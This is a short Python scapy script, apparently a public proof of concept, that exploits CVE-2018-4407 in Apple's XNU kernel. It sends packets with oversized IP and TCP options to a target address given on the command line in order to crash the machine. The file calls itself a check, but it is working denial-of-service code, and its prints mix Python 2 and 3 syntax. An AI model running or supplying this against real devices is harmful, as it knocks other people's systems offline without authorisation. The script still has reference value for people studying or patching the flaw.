# CVE-2018-4407 ICMP DOS

# https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407

# from https://twitter.com/ihackbanme

import sys

try:

    from scapy.all import *

except Exception as e:

    print ("[*] You need install scapy first:\n[*] sudo pip install scapy ")

if __name__ == '__main__':

    try:

        check_ip = sys.argv[1]

        print ("[*] !!!!!!Dangerous operation!!!!!!")

        print ("[*] Trying CVE-2018-4407 ICMP DOS " + check_ip)

        for i in range(8,20):

            send(IP(dst=check_ip,options=[IPOption("A"*i)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

        print ("[*] Check Over!! ")

    except Exception as e:

        print "[*] usage: sudo python check_icmp_dos.py 127.0.0.1"

//有些缩进要调一调